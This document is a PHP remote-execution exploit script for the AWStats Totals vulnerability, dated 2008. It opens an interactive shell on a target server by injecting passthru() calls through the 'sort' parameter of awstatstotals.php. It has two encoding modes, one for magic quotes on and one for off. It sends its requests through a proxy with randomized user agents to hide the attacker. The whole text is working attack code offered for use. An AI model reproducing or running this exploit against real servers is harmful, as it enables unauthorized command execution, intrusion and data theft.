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awstats-exec2.txt

Posted on 05 September 2008

<?php
/*
* Remote Execution Exploit for AWStats Totals vulnerability (Interactive Shell) Version 2
*
* Updated 05/09/08: The exploit now works with magic quotes on or off
*
* Author: Ricardo Almeida
* email:  ricardojba[at]aeiou[DoT]pt
*
* Greetz
* The hacker webzine authored by Ronald van den Heetkamp for his code
*
* Credits: Vulnerabilities reported by Emory University.
*          http://userwww.service.emory.edu/~ekenda2/EMORY-2008-01.txt
*
*/

function wrap($url){
$ua = array('Mozilla','Opera','Microsoft Internet Explorer','ia_archiver');
$op = array('Windows','Windows XP','Linux','Windows NT','Windows 2000','OSX');
$agent  = $ua[rand(0,3)].'/'.rand(1,8).'.'.rand(0,9).' ('.$op[rand(0,5)].' '.rand(1,7).'.'.rand(0,9).'; en-US;)';
# tor or other proxy
$tor = '172.20.1.15:8080';
$timeout = '300';
$ack = curl_init();
curl_setopt ($ack, CURLOPT_PROXY, $tor);
curl_setopt ($ack, CURLOPT_URL, $url);
curl_setopt ($ack, CURLOPT_HEADER, 1);
curl_setopt ($ack, CURLOPT_USERAGENT, $agent);
curl_setopt ($ack, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ack, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ack, CURLOPT_TIMEOUT, $timeout);
$syn = curl_exec($ack);
$info = curl_getinfo($ack);
curl_close($ack);

if($info['http_code'] == '200') {
return $syn;
die();
} else {
return "Fail! :".$info['http_code']."
";
}
}

if ($argc != 3) {die("Usage: awtotalhack.php <host> <magic_quotes on or off>
Ex: awtotalhack.php host.tld on
");}
array_shift($argv);
$host = $argv[0];
$magic = $argv[1];

# Start the interactive shell
while(1){
fwrite(STDOUT, "[shell:~ # ");
if ($magic == "on") {
$c = str_split(trim(fgets(STDIN)));
if (implode($c) == "exit") {die();};
for($i=0;$i<count($c);$i++) {$c[$i] = "chr(".ord($c[$i]).")";}
$cmd = implode("%2e", $c);
$attackurl = "http://".$host."/"."awstatstotals.php?sort=%7b%24%7bpassthru%28".$cmd."%29%7d%7d%7b%24%7bexit%28%29%7d%7d";
echo wrap($attackurl);
} else if ($magic == "off") {
$cmd = preg_replace('/ /','%20',trim(fgets(STDIN)));
if ($cmd == "exit") {die();};
$attackurl = "http://".$host."/"."awstatstotals.php?sort=%22%5d%2epassthru%28%27".$cmd."%27%29%2eexit%28%29%2e%24a%5b%22";
echo wrap($attackurl);
}
}
?>

 

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